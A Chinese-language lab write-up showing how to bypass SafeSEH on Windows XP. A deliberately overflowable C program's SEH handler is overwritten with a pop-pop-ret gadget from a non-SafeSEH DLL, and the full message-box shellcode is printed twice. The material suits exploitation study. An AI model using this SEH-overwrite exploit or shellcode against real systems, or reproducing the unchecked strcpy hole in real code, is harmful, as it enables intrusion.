作者:黑蛋
1.简述
在 Windows XP SP2 及后续版本的操作系统中,微软引入了 S.E.H 校验机制SafeSEH。SafeSEH 的原理很简单,在程序调用异常处理函数前,对要调用的异常处理函数进行一系列的有效性校验,当发现异常处理函数不可靠时将终止异常处理函数的调用。如果我们采用缓冲区溢出淹没SEH处理函数,让SEH处理函数直接指向我们栈中的shellcode,会被SafeSEH发现,并拒绝执行此处理函数。针对此保护机制,有一招是通过一个未开启SafeSEH模块中的跳板指令地址替换SEH处理函数地址,再间接返回栈中shellcode运行流程。本次实验就是运用此方法,参考《0day安全》中的部分资料。
2.环境配置
环境 | 配置 |
---|---|
操作系统 | Windows XP |
编译器 | VS2008 |
调试工具 | OD |
项目配置 | realse版本 关闭DEP保护 |
3.代码展示
#include "stdafx.h" #include #include char shellcode[]= "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90" "x12x10x12x11" "x90x90x90x90x90x90x90x90" "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x66x66x66x66x68x66x66x66x66x8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8"; char shellcode2[]="x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x00"; DWORD MyException(void) { printf("There is an exception"); getchar(); return 1; } void test(char * input) { char str[200]; strcpy(str,input); int zero=0; __try { ## zero=1/zero; } __except(MyException()) { } } int _tmain(int argc, _TCHAR* argv[]) { HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll")); char str[200]; test(shellcode2); return 0; }
同样有俩段字符串,第一个是精心制作的shellcode,第二段字符串是正常字符串,供我们第一次分析程序栈中情况,同时这里需要一个未开启SafeSEH的模块,进行加载,在里面寻找跳板指令(pop * pop * ret,至于原因将在后续讲解)。我自己生成的exe以及未开启保护的dll
4.程序分析
传入正常字符串shellcode2,生成exe拖入x32dbg,F9运行到自己模块领空,进入call下面第一个跳转:
找主函数入口:
进入主函数,第一个call是加载未开启SafeSEH模块的函数,之后压入shellcode2地址,进入第二个call,即test函数:
通过分析汇编代码,发现jne是循环拷贝命令,我们运行到jne之后,观察栈中情况:
箭头指向位置0012FDB8是buf起始位置
箭头指向位置0012FE94是SEH处理函数,所以我们需要在0012FE94-0012FDB8字节的位置放置我们的跳转指令,结束此次调试,把我们自己的没开启SafeSEHS的模块拖入x32dbg,找一个pop,pop,ret的位置,也可以通过代码按照硬编码寻找,我采用直接拖入x32dbg中寻找:
F9运行到自己领空,向上查找很轻易找到一个符合要求的位置11121012,接下来传入shellcode(已经提前构造好)
char shellcode[]= "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90" "x12x10x12x11" "x90x90x90x90x90x90x90x90" "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x66x66x66x66x68x66x66x66x66x8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8";
前面是一堆滑板指令,在SEH处理函数的位置放入我们找到的跳板指令位置,之后是我们的弹窗shellcode,至于为何把弹窗shellcode放到最后面,是因为在运行异常处理函数途中会改变EBP-4的地方的值,为了保护shellcode,把他放在下面,重新生成程序,拖入x32dbg,直接F9,F9运行到除零异常的地方:
可以清晰的看到SEH处理函数位置已经是我们跳板指令的地方,我们在这里跳转到跳板指令下断点:
之后F9继续运行,断在跳板指令这边,观察堆栈情况:
发现ESP和ESP-4是两个垃圾参数,我们需要弹出他们,这也就是为什么要寻找pop,pop,ret的原因,而ESP 4指向我们shellcode上方,继续运行到ret之后:
已经进入我们shellcode里面,继续运行,弹窗:
5.结束
以上就是在编译器默认开启SafeSEH的情况下,借助没有开启SafeSEH模块中的跳板指令,成功通过淹没SEH处理函数,让程序流程到我们弹窗shellcode的位置,到达我们的目的,弹个小框框。